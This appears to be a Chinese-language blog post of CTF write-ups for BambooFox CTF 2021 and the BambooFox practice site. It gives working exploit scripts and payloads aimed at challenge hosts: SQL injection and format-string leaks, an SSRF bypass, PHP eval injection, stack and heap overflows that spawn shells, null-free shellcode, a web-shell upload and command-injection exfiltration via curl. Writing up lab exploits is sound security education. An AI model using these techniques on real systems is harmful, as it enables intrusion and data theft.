BambooFox CTF Writeups

發表於
分類於 CTF

這篇包含了 BambooFox CTF 2021 的內容和 BambooFox 練習站 的內容,基本上會記錄一些比較有意義的題目而已。

BambooFox CTF 2021

Calc.exe Online

利用 php 中可以用 string 作為函數名稱去執行的性質,然後靠 base_convert decbin 等等這類的函數去湊出來就好了。

SSRFrog

http://chall.ctf.bamboofox.tw:9453/

這題最關鍵的點就是要讓 url.length !== new Set(url).size,並且讓他訪問內網的一個網站取得 Flag (SSRF)。破解的方法就是利用一些 unicode 的特殊字元去做繞過就好了,這邊可以使用此題作者製作的工具 domain-obfuscator 去找到能用的字元,可能要多試幾次才行。一個能用的 payload 為 url=htTp:/ᵗℍℯ。Ⓒ⁰ₒ₀o⓪ˡ-fl㊹4ᵍ.ₛₑⓡᵛᵉℝ.㏌teʳ㎁L。

ヽ(#`Д´)ノ

http://chall.ctf.bamboofox.tw:9487/

這題很簡單,用 query string 所產生的陣列可以很簡單的繞過前兩個檢測,然後 eval(print_r($🐱,1)) 的地方就稍微把東西給閉合,然後把其他多餘的東西忽略掉就好了,例如 system("ls"))?>。

完整的 url (base64):

aHR0cDovL2NoYWxsLmN0Zi5iYW1ib29mb3gudHc6OTQ4Ny8/JUUzJTgzJUJEKCUyMyU2MCVEMCU5NCVDMiVCNCklRUYlQkUlODklNUIlNUQ9c3lzdGVtKCUyMmNhdCUyMC9mbGFnX2RlNDI1MzdhN2RkODU0ZjRjZTI3MjM0YTEwM2Q0MzYyJTIyKSk/JTNF

Time to Draw

http://chall.ctf.bamboofox.tw:8787/ (掛了)

關鍵在於 prototype pollution,利用它 /api/draw 沒檢查參數 __proto__ 的問題去改 Object.prototype,然後之後自己構造一下 token 就能拿 flag 了。

Yet another login page

http://chall.ctf.bamboofox.tw:9527/

很容易可以找出有 SQL Injection,admin 的密碼也很容易拿: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select password,1 from users--",只是這樣並沒辦法拿到 flag。

經過測試會發現當他密碼錯誤的時候能有 python 的 format string 可以利用:

正常的: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pw" -> Hello {0} 。:.゚ヽ(*´∀``)ノ゚.:。

密碼錯誤的: curl http://chall.ctf.bamboofox.tw:9527/login --data "username='union select '{0}','pw' from users--&password=pwa" -> Wrong password for <main.User object at 0x7f9fcd537160>, login from <IP REMOVED>.

然後利用一下可以找到 app 的 routes: {0.__init__.__globals__[app].url_map},裡面可以看到有個 /hey_guys_this_is_the_flag_route map 到 get_flag 的函數,直接前往那個 path 也沒有給 flag。

後來我經過別人提醒才知道 python 的函數有 __code__ 的物件能取得 bytecode,例如 0.__init__.__globals__[get_flag].__code__,裡面有些 co_code co_consts 的東西能用,然後可以靠自己去讀 bytecode 去解 flag。

不過我很懶惰,就稍微研究了下怎麼把它弄回可讀的 python,然後就用了下面的腳本出來:

attrs = [
    "co_argcount",
    "co_cellvars",
    "co_code",
    "co_consts",
    "co_filename",
    "co_firstlineno",
    "co_flags",
    "co_freevars",
    "co_kwonlyargcount",
    "co_lnotab",
    "co_name",
    "co_names",
    "co_nlocals",
    "co_posonlyargcount",
    "co_stacksize",
    "co_varnames",
]

import requests


def get_attr(fnname: str, attr: str):
    u = "' union select '{0.__init__.__globals__" + fnname + "." + attr + "}','pw';--"
    resp = requests.post(
        "http://chall.ctf.bamboofox.tw:9527/login",
        data={
            "username": u,
            "password": "pwa",
        },
    )
    a = resp.text.split("for ")[-1].split(", login")[0]
    try:
        return eval(a)
    except:
        return a


def get_path(path):
    fn_code = {}
    for v in attrs:
        fn_code[v] = get_attr(path, v)
    return fn_code


get_flag = get_path("[get_flag].__code__")
get_flag_lambda = get_path("[get_flag].__code__.co_consts[25]")


import xdis

l = xdis.codetype.Code38(**get_flag_lambda)
print(l)
get_flag["co_consts"] = (
    None,
    247,
    254,
    216,
    225,
    234,
    243,
    244,
    245,
    228,
    232,
    235,
    166,
    184,
    "give",
    "me",
    "flag",
    0,
    3,
    1,
    -3,
    2,
    "\x87",
    "flag{",
    "",
    l,
    "get_flag.<locals>.<lambda>",
    "}",
    "NO FLAG FOR YOU",
)
f = xdis.codetype.Code38(**get_flag)
print(f)

import uncompyle6

print(uncompyle6.code_deparse(l))
print(uncompyle6.code_deparse(f))

最後 decomile 之後也能得到這樣的結果,然後要找 flag 就是相當簡單的事了:

magic = [247, 254, 216, 225, 234, 243, 216, 244, 243, 245, 216, 228, 232, 232, 235, 166, 184]
keys = [request.args.get('give'), request.args.get('me'), request.args.get('flag')]
if keys[0] == str(magic[3]):
    if keys[1] == str(magic[(-3)]):
        if keys[2] == '\x87':
            return 'flag{' + ''.join(map(lambda n: chr(n ^ ord(keys[2])), magic)) + '}'

Flag Checker

Verilog 的 flag checker,稍微用 python 暴力一下之後可以得到很多的解,找個比較像的就可以了:

target = [
    182,
    199,
    159,
    225,
    210,
    6,
    246,
    8,
    172,
    245,
    6,
    246,
    8,
    245,
    199,
    154,
    225,
    245,
    182,
    245,
    165,
    225,
    245,
    7,
    237,
    246,
    7,
    43,
    246,
    8,
    248,
    215,
]

def magic(inp, val):
    if val == 0b00:
        return ((inp >> 3) | (inp << 5)) & 0xFF
    elif val == 0b01:
        return ((inp << 2) | (inp >> 6)) & 0xFF
    elif val == 0b10:
        return (inp + 0b110111) & 0xFF
    elif val == 0b11:
        return inp ^ 55


def chall(x):
    ox = x
    x = magic(x, ox & 0b11)
    x = magic(x, (ox >> 2) & 0b11)
    x = magic(x, (ox >> 4) & 0b11)
    x = magic(x, (ox >> 6) & 0b11)
    return x


def bruteforce(target):
    for c in range(256):
        if chall(c) == target:
            if 30 <= c <= 127 and c != ord(" "):
                yield chr(c)


from itertools import product

ans = [list(bruteforce(x)) for x in target]
for x in product(*ans):
    print("".join(x))

Flag Checker Revenge

這題麻煩的地方是在於它的 check 是用很多很多層的遞迴去弄的,所以直接用 angr 解決這題比較簡單:

import angr
import claripy

input_len = 43
flag_chars = [claripy.BVS("flag_%d" % i, 8) for i in range(input_len)]
flag = claripy.Concat(*flag_chars + [claripy.BVV(b"\n")])

proj = angr.Project("./flag_checker2")
st = proj.factory.full_init_state(
    args=["./engine"], add_options=angr.options.unicorn, stdin=flag
)
for k in flag_chars:
    st.solver.add(k < 0x7F)
    st.solver.add(k > 0x20)

sm = proj.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
    if b"win" in x.posix.dumps(1):
        y.append(x)
valid = y[0].posix.dumps(0)
print(valid)
bt = [chr(valid[i]) for i in range(0, len(valid))]
print("".join(bt))

The Vault

WASM 的挑戰,直接在瀏覽器把 0000~9999 都試一遍也都沒用,所以用 wasm2c 把它轉換成 C,然後編譯後丟到 IDA 就能看到密碼是 p3k0 了 peko。

wasm2c main.wasm -o test.c
gcc test.c -o test.o -Wl,--unresolved-symbols=ignore-in-object-files

orz Network

可以發現說他有些 Diffie–Hellman 的質數 pp 很弱,因為 p−1p-1 非常的 smooth,所以直接把那些很弱的用 discrete log 算出來就好了,之後再用 BFS 選 419 條邊變成一個生成樹就是答案了:

from pwn import *
import hashlib
import sys
from sage.all import factor, Zmod, discrete_log, power_mod


def proof_of_work(prefix, difficulty):
    zeros = "0" * difficulty

    def is_valid(digest):
        bits = "".join(bin(i)[2:].zfill(8) for i in digest)
        return bits[:difficulty] == zeros

    i = 0
    while True:
        i += 1
        s = prefix + str(i)
        if is_valid(hashlib.sha256(s.encode()).digest()):
            return i


def solve(p, g, a, b):
    fs = factor(p - 1)
    mxp = max([x[0] for x in fs])
    if mxp > 1000000:
        # Not smooth enough
        return
    Z = Zmod(p)
    n_a = discrete_log(Z(a), Z(g))
    return int(Z(b) ** n_a)


def pr(a, b):
    return (a, b) if a < b else (b, a)


p = remote("chall.ctf.bamboofox.tw", 10369)
p.recvuntil("sha256(")
prefix = p.recv(16).decode()
result = proof_of_work(prefix, 20)
p.sendlineafter(b"Answer:", str(result))
msg = p.recvline().decode().strip()
words = msg.split(" ")
n_computers = int(words[2])
n_connections = int(words[5])
print(n_computers, n_connections)
p.recvuntil(b"lines):")  # Press Enter to print all connection logs (# lines):
p.sendline("")  # Enter

connected = {}
for i in range(n_connections):
    established = p.recvline().decode().strip()
    ews = established.split(" ")
    alice_id = int(ews[5][1:])
    bob_id = int(ews[9][1:])
    dh = p.recvline().decode().strip()
    dhs = dh.split(" ")
    modulus = int(dhs[4][:-1])
    base = int(dhs[7][:-1])
    alice_pub = int(dhs[12][:-1])
    bob_pub = int(dhs[17])  # No "," at the end of Bob's public key...
    sec = solve(modulus, base, alice_pub, bob_pub)
    if sec != None:
        connected[pr(alice_id, bob_id)] = sec

secret_keys = []
visited = [False] * (n_computers + 1)

queue = [1]
visited[1] = True
parent = {}
while len(queue) > 0:
    cur = queue.pop(0)
    for i in range(1, n_computers + 1):
        if i == cur:
            continue
        k = pr(cur, i)
        if k in connected and not visited[i]:
            print(f"{cur} -> {i}")
            visited[i] = True
            parent[i] = cur
            secret_keys.append(connected[k])
            queue.append(i)

assert all(visited[1:])


def print_path(x):
    def helper(y):
        print(f" <- {y}", end="")
        if y != 1:
            helper(parent[y])

    print(x, end="")
    if x != 1:
        helper(parent[x])
    print()


for i in range(1, n_computers + 1):
    print_path(i)

ans = " ".join(map(str, sorted(secret_keys)))
p.sendlineafter(
    b"Enter a list of 419 secret keys you've stolen, separated by whitespace characters:",
    ans,
)
print(p.recvall().decode())

這題我當時就只差一個小 bug 就把這題解出來了...

train

Magic

這題只是簡單的 buffer overflow 題目,不過有稍微被坑到了一下。

首先是它會對 strlen 長度的字串做隨機的 xor,不過用 \0 就能繞過了,而且 scanf 是連 \0 都會吃進去的,所以把 ret 改到 0x804860D 就能拿到 shell 了。

不過我一開始這樣做都一直失敗,後來發現說 0x804860D 的 0D 代表的是 \r (Carriage Return),一樣會被 scanf 視為換行符號,所以需要跳到其他地方,例如 0x804860E 之類的就可以了。

from pwn import *

# p = process("./magic")
p = remote("bamboofox.cs.nctu.edu.tw", 10000)
sh = 0x804860D
p.sendlineafter(b"Give me your name(a-z): ", "kirito")
p.sendlineafter(
    b"Give me something that you want to MAGIC: ",
    b"a" * (0x44)
    + b"\x00" * 4
    + p32(sh + 1),  # !!!! scanf will ignore 0d, as 0d = "\r"
)
p.interactive()

這題雖然只是簡單的題目,不過還是學到了 0D=\r 會有影響。

Monkey1

用 printf 去對 local variable 的 banana 做寫入就可以了,需要的位置可能要用 gdb 找一下。程式碼和下一題放在一起。

Monkey2

一樣的題目,不過這次要得到 shell,我的方法就是找個地方寫入 /bin/sh,然後呼叫 system 就好了,因為 system 有在 GOT 裡面能讓你用,所以直接讀出來就 ok。

from pwn import *

# p = process("./monkey")
p = remote("bamboofox.cs.nctu.edu.tw", 11000)


def printf(s: bytes):
    p.sendlineafter(b"Please enter your choice!\n", "2")
    p.sendlineafter(b"I will print it out.\n", s)
    return p.recvline()


def change_name(s: bytes):
    p.sendlineafter(b"Please enter your choice!\n", "1")
    p.sendline(s)


def write_byte(addr: int, val: int):
    change_name(p64(addr))
    if val > 0:
        printf(b"%0" + str(val).encode() + b"d%274$hhn")
    else:
        printf(b"%274$hhn")


def write_int(addr: int, val: int):
    while val > 0:
        # print(f"write {hex(val & 0xff)} to {hex(addr)}")
        write_byte(addr, val & 0xFF)
        val >>= 8
        addr += 1


def read_string(addr: int):
    change_name(p64(addr))
    result = printf(b"%274$sc8763c8763")
    return result.split(b"c8763c8763")[0]


def read_dword(addr: int, deep=1):
    if deep == 4:
        return 0
    r = int.from_bytes(read_string(addr)[:4], byteorder="little")
    return r if r != 0 else ((read_dword(addr + 1, deep + 1) & 0xFFFFFF) << 8)


# FLAG 1
target_banana = 0x3132000A
banana_addr = int(printf(b"%269$p").decode().strip(), 16) + 4
write_int(banana_addr, target_banana)
p.sendlineafter(b"Please enter your choice!\n", "3")
print(p.recvline().decode())

# FLAG 2 (Shell)
elf = ELF("./monkey")
system = read_dword(elf.got["system"])
ret = banana_addr + 0x28
write_int(ret, system)
binsh = 0x804A064  # a padding in bss
write_int(binsh, int.from_bytes(b"/bin/sh\x00a", byteorder="little"))
write_int(ret + 8, binsh)
p.sendlineafter(b"Please enter your choice!\n", "5")
p.interactive()

不過這題的 FLAG 2 所寫的內容是說和 GOT 劫持有關的,我猜可能的作法是把 strlen 改成 system,然後換名字的時候直接輸入 /bin/sh 應該也是可以,不過這個就需要在一次寫入就把 address 寫進去才行,不能像我這樣分 byte 寫入。

ROP

就按照它的指示去湊一組 ROP Chain 就好了,我用的是: 1,10,9,3,3,12,4,12,2,2,8,8,8,8,8,0。

orw

不能直接用 shell,只能自己寫 null free 的 shellcode 而已。雖然用 pwntools 的 shellcraft 很簡單,不過為了練習還是自己寫點 asm 好了。

from pwn import *

context.arch = "x86"

code = f"""
xor eax, eax
mov ax, 0x{b'ag'[::-1].hex()}
push eax
mov eax, 0x{b'f/fl'[::-1].hex()}
push eax
mov eax, 0x{b'e/ct'[::-1].hex()}
push eax
mov eax, 0x{b'/hom'[::-1].hex()}
push eax

xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 20
int 0x80

xor eax, eax
mov al, SYS_open
mov ebx, esp
xor ecx, ecx # O_RDONLY == 0
int 0x80

mov ebx, eax
mov al, SYS_read
mov ecx, esp
xor edx, edx
mov dl, 0xff
int 0x80

xor eax, eax
mov al, SYS_write
mov bl, 1
mov ecx, esp
mov dl, 0xff
int 0x80
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())

p = remote("bamboofox.cs.nctu.edu.tw", 11100)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())

關於 syscall table 我推薦: Linux System Call Table

BTW, 使用 shellcraft 的話非常簡單: shellcraft.cat(b'/home/ctf/flag')

orw64

除了是 x64 的這點外和上題一模一樣。

from pwn import *

context.arch = "amd64"

code = f"""
xor rax, rax
mov rax, 0x{b'f/flag--'[::-1].hex()}
shl rax, 16
shr rax, 16
push rax
mov rax, 0x{b'/home/ct'[::-1].hex()}
push rax

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov al, 20
mov rdx, rax
mov al, SYS_write
syscall

xor rax, rax
mov rdi, rsp
xor rsi, rsi
mov al, SYS_open
syscall

mov rdi, rax
mov rsi, rsp
mov dl, 0xff
xor rax, rax # SYS_read == 0
syscall

xor rax, rax
mov al, 1
mov rdi, rax
mov rsi, rsp
mov dl, 0xff
mov al, SYS_write
syscall
"""
sc = asm(code)
print(disasm(sc))
assert b"\0" not in sc
print(run_shellcode(sc).recvall())

p = remote("bamboofox.cs.nctu.edu.tw", 11101)
p.sendlineafter(b"Submit your shellcode here:", sc)
print(p.recvall())

ret2libc

很基本的 ret2libc,連 address 都給你了。

from pwn import *

libc = ELF("./libc.so.6")
p = remote("bamboofox.cs.nctu.edu.tw", 11002)
# libc = ELF("/lib32/libc.so.6")
# p = gdb.debug("./ret2libc")

p.recvuntil(b'The address of "/bin/sh" is ')
binsh = int(p.recvline().strip().decode(), 16)
p.recvuntil(b'The address of function "puts" is ')
puts = int(p.recvline().strip().decode(), 16)

libc_base = puts - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]
log.info(f"system: {hex(system)}")

p.sendline(b"a" * (0x14 + 4 + 8) + p32(system) + b"a" * 4 + p32(binsh))
p.interactive()

RSA

可以發現它 public key 的 NN 只有 220 bit,所以自己分解或是去查 Factor DB 都可以,我用的是後者。直接結合 RsaCtfTool 還能很方便的直接生成 private key: python RsaCtfTool.py --publickey pub.pem --private --attack factordb,然後再用 openssl rsautl -decrypt -inkey priv.pem -in aeskey.rsa.enc -out key 去得到 AES 的 key。

不過這題卡我比較久的地方是它 AES 的地方,因為直接的 openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -pass 'file:key' 並沒有效果,後來我在這個問題查到說 OpenSSL 有改過從密碼生成 key 的 hash 算法,在 1.0.2 以前用的是 md5,然後 1.1.0 之後就改用了 sha256。

所以我檢查了我的版本發現說它確實是新版的,所以就試著加上了 -md md5 就成功了: openssl enc -aes128 -d -in flag.jpg.aes.enc -out flag.jpg -md md5 -pass 'file:key'。

RSA2

可以發現說它的 RSA modulus 很小(N≤2200N\leq2^{200}),所以直接暴力分解就好了,最後一個 round 的 wiener attack 就使用 RsaCtfTool 裡面的實現就完成了。

還有個可能要注意的地方是 Ruby 的 public_encrypt 使用了 PKCS1 的 padding,所以在解密完成後還要記得去掉 padding 再傳回去才是正確答案。

from pwn import *
from Crypto.PublicKey import RSA
from Crypto.Util.number import bytes_to_long, long_to_bytes
from Crypto.Util.Padding import unpad
from sage.all import factor
import base64
import wiener  # Copied and modified from RsaCtfTool

P = remote("bamboofox.cs.nctu.edu.tw", 11200)


def pkcs1_unpad(text):
    if len(text) > 0 and text[0] == 2:
        pos = text.find(b"\x00")
        if pos > 0:
            return text[pos + 1 :]
    return None


for i in range(101):
    print(f"Round {i}")
    if i < 100:
        P.recvuntil(b"Round (")
    P.recvuntil(b"-----BEGIN PUBLIC KEY-----")
    content = P.recvuntil(b"-----END PUBLIC KEY-----", drop=True)
    pubkey = RSA.import_key(
        b"-----BEGIN PUBLIC KEY-----" + content + b"-----END PUBLIC KEY-----"
    )
    P.recvuntil(b"secrect msg :")
    ciphertext = base64.b64decode(P.recvline().strip())
    if i < 100:
        fs = factor(pubkey.n)
        assert len(fs) == 2
        p = int(fs[1][0])
        q = int(fs[0][0])
        d = pow(pubkey.e, -1, (p - 1) * (q - 1))
        plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), d, pubkey.n))
    else:
        # wiener
        priv = wiener.WienerAttack(pubkey.n, pubkey.e)
        plaintext = long_to_bytes(pow(bytes_to_long(ciphertext), priv.d, pubkey.n))
        p = max(priv.p, priv.q)
        q = min(priv.p, priv.q)
    P.sendlineafter(b"msg :", pkcs1_unpad(plaintext))
    P.sendlineafter(b"p (decimal) :", str(p))
    P.sendlineafter(b"q (decimal) :", str(q))

print(P.recvall().decode())

AIS3 web 1

LFI,用 php://filter 把檔案讀出來就好了。

I Love C

在輸入名字的時候輸入 /bin/sh 並且把 max_len 蓋掉(用 \0 繞過長度檢測),然後之後就能 overflow 到 ret,ROP 到 puts 把 got table 上的 address leak 出來得到 libc address。

接下來就讓它再回到 main 的起點一次,然後再 overflow 一次,只是這次到 system(name) 上面就可以了。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"

elf = ELF("./lovec")
if args["REMOTE"]:
    libc = ELF("./libc.so.6")
    p = remote("bamboofox.cs.nctu.edu.tw", 11003)
else:
    libc = ELF("/lib32/libc.so.6")
    p = process("./lovec")

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
    b"Cool! And why did you like it?",
    b"a" * 41 + flat([elf.sym["puts"], elf.sym["main"], elf.got["puts"]]),
)
p.recvuntil(b"nice day!\n")

libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["puts"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
    b"Cool! And why did you like it?",
    b"a" * 33 + flat([system, 0, elf.sym["name"]]),
)
p.recvuntil(b"nice day!\n")

log.info(f"shell:")
p.interactive()

I Love C++

和上一題差不多,只是要搞清楚 C++ 的函數是怎麼呼叫的,例如 std::cout << "test"; 實際上是像是 operator<<(std::cout, "test"); 的形式呼叫的,然後看一下 assembly 就能看出需要的參數是怎麼處裡的,然後一樣 leak libc 之後再讓它呼叫 system(name) 就成功了。

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
context.arch = "x86"

elf = ELF("./lovecpp")
if args["REMOTE"]:
    libc = ELF("./libc6-i386_2.19-0ubuntu6.15_amd64.so")
    p = remote("bamboofox.cs.nctu.edu.tw", 11004)
else:
    libc = ELF("/lib32/libc.so.6")
    p = process("./lovecpp")

cout = elf.sym["_ZSt4cout"]
operator_ll = elf.sym["_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendlineafter(
    b"Cool! And why did you like it?",
    b"a" * 41 + flat([operator_ll, elf.sym["main"], cout, elf.got["atoi"]]),
)
p.recvuntil(b"nice day!\n")

libc_base = int.from_bytes(p.recv(4), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
system = libc_base + libc.sym["system"]

p.sendafter(b"Please enter your name:", b"/bin/sh\0" + b"a" * 12 + b"\xff\n")
p.sendlineafter(b"Please vote for the programming language you love the most:", "1")
p.sendafter(
    b"Cool! And why did you like it?",
    b"a" * 33 + flat([system, 0, elf.sym["name"]]) + b"\n",
)
p.recvuntil(b"nice day!\n")

log.info(f"shell:")
p.interactive()

bamboobox1

這題是 heap 的題目,目標是把程式一開始使用 malloc 所弄出一個放 function pointers 的區塊改掉,因為它在 exit 的時候會呼叫裡面的函數,而且也有提供一個 magic 函數直接幫你讀 flag 出來。漏洞的話可以很容易的發現它在修改的時候完全不檢查長度,所以只要修改時的長度超過新增時的長度時就有 heap overflow。

libc 的檔案可以到第二題拿,版本為 2.19-0ubuntu6.13_amd64,基本上一定要 patchelf 過才能正常的在 local debug

這題要用到的是 House Of Force,方法簡單來說是先把 top chunk 的 size 改成最大值,避免它在 malloc 很大的區塊時使用 mmap,然後再利用很大的值讓 address overflow 到比較低的位置,例如前面所說的 function pointers,然後再 malloc 一塊新的區塊後會發現和前面是同個地方,所以就能直接改掉那部分的記憶體。

詳細的介紹的話推薦: house_of_force.c

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
# p = process("./bamboobox")  # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)


def add_item(data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "2")
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


def change_item(idx, data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "3")
    p.sendlineafter(b"item:", str(idx))
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


magic = elf.sym["magic"]
add_item(b"a" * 64)  # Offset to top chunk size = 64 + 8 = 72
change_item(
    0, b"a" * 72 + p64((1 << 64) - 1)
)  # Overwrite top chunk size to max, so that malloc won't use mmap
add_item(b"\n", -0x70 - 0x10)  # Offset from top chunk to function list
add_item(p64(0) + p64(magic))  # Newly malloced memory is function list
p.sendlineafter(b"choice:", "5")
print(p.recvall())

bamboobox2

和前面一樣的題目,但是這次需要的是得到 shell 才行。

利用 Unlink 的方法可以改掉存指針的地方所指的第一個區塊,然後使用它去讀 atoi@got 得到 libc 的位置,然後改 GOT 成 system 之後輸入 /bin/sh 就是 shell 了。

關於 Unlink 的詳細介紹我推薦: unsafe_unlink.c

from pwn import *

context.terminal = ["tmux", "splitw", "-h"]
elf = ELF("./bamboobox")
libc = ELF("./libc6_2.19-0ubuntu6.13_amd64/lib/x86_64-linux-gnu/libc.so.6")
# p = process("./bamboobox")  # Libc and intepreter patched to 2.19-0ubuntu6.13_amd64
p = remote("bamboofox.cs.nctu.edu.tw", 11005)


def add_item(data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "2")
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


def change_item(idx, data, sz=None):
    if sz == None:
        sz = len(data)
    p.sendlineafter(b"choice:", "3")
    p.sendlineafter(b"item:", str(idx))
    p.sendlineafter(b"name:", str(sz))
    p.sendafter(b"item:", data)


def remove_item(idx):
    p.sendlineafter(b"choice:", "4")
    p.sendlineafter(b"item:", str(idx))


# PS: normal chunk size = malloc size + header size
box = 0x6020C8
malloc_size = 0x100
add_item(b"first chunk", malloc_size)
add_item(b"second chunk", malloc_size)
change_item(
    0,
    # fake freed chunk in first chunk data area
    p64(0)  # prev size
    + p64(malloc_size + 1)  # size (prev_inuse)
    + p64(box - 3 * 8)  # fd, P->fd->bk == P
    + p64(box - 2 * 8)  # bk, P->bk->fd == P
    + b"a" * (malloc_size - 8 * 4)
    # second chunk header
    + p64(malloc_size) # prev size
    + p64(malloc_size + 16) # size (not prev_inuse)
)
remove_item(1)
# now box[0] = box - 3 * 8 (because BK->fd = FD)
change_item(0, b"a" * 24 + p64(elf.got["atoi"]))
# now box[0] = atoi@got
p.sendlineafter(b"choice:", "1")
p.recvuntil(b"0 : ")
libc_base = int.from_bytes(p.recv(6), byteorder="little") - libc.sym["atoi"]
log.info(f"libc base: {hex(libc_base)}")
change_item(0, p64(libc_base + libc.sym["system"]))  # overwrite atoi@got to system
p.sendlineafter(b"choice:", "/bin/sh")
p.interactive()

2020 Fall CSC 社課

我沒實際上參加過這個課,只是自己練習的

basic_lfi

用 php://filter 和 base64 把 flag.php 讀出來就可以了。

image_upload

檢查檔案副檔名的工作全部都是在前端完成的,所以把它停用掉然後上傳自己的 php shell 就好了。得到 shell 之後會發現根目錄的 flag 檔案是 root 權限的,不過可以發現有個 suid 的 binary 可以直接拿來讀檔案。

cmdi_2

有擋掉 ;, &, |, 四個符號,而且不會把顯示給 print 出來。空白的話用 ${IFS} 可以繞過,不能用 && || 和 ; 的話可以靠 `cmd` 去執行指令,沒有顯示的話就要自己用 server 去讓他連線傳資料回來。

像我是用 curl 的上傳檔案功能把檔案傳回來就能看到 flag 了。

Shellcode

它會直接執行你的 shellcode,但是會隨機跳到距離開始的 0~255 的地方,這個可以靠塞 nop (\x90) 就能輕鬆繞過了。

Note

沒開 NX,有 Canary,所以就 leak Canary,寫入 shellcode 然後 return 到上面就好了。Stack Address 的話因為它一開始就直接給你了所以不是問題。

from pwn import *

context.arch = "amd64"

# p = process("./note")
p = remote("bamboofox.cs.nctu.edu.tw", 12030)
p.recvuntil(b"Gift ")
text_addr = int(p.recvline().decode().strip(), 16)
print(hex(text_addr))
p.sendlineafter(b"How long is your name: ", str(0x138 + 1))
p.sendlineafter(b"Please input your name: ", b"a" * 0x138)
p.recvuntil(b"aaaaa\n")
canary = int.from_bytes(b"\x00" + p.recv(7), byteorder="little")
p.sendlineafter(b"How long is your title: ", str(0x138 + 8 + 8 + 8 + 1))
p.sendlineafter(
    b"Please input title: ", b"a" * 0x138 + p64(canary) + b"a" * 8 + p64(text_addr)
)
p.sendlineafter(b"Please input message: ", asm(shellcraft.sh()))
p.interactive()

oob1

利用它沒檢查 index 為負數的性質可以 leak 出 admin 的 pin,所以就能登入成功。

from pwn import *

# p = process("./oob1")
p = remote("bamboofox.cs.nctu.edu.tw", 12011)
p.sendlineafter(b"User ID: ", "-4")
p.sendlineafter(b"PIN: ", "1")
p.recvuntil(b"Logging to [")
admin_pin = int.from_bytes(p.recv(4), byteorder="little")
p.sendlineafter(b"User ID: ", "0")
p.sendlineafter(b"PIN: ", str(admin_pin))
p.interactive()

oob3

類似上一題,不過是要把 GOT 改掉換成它本來就有的一個呼叫 shell 的函數就可以了。

from pwn import *

# p = process("./oob3")
p = remote("bamboofox.cs.nctu.edu.tw", 12013)

p.sendlineafter(b"User ID: ", "-19")
p.sendlineafter(b"Nickname", p64(0x400924))
p.interactive()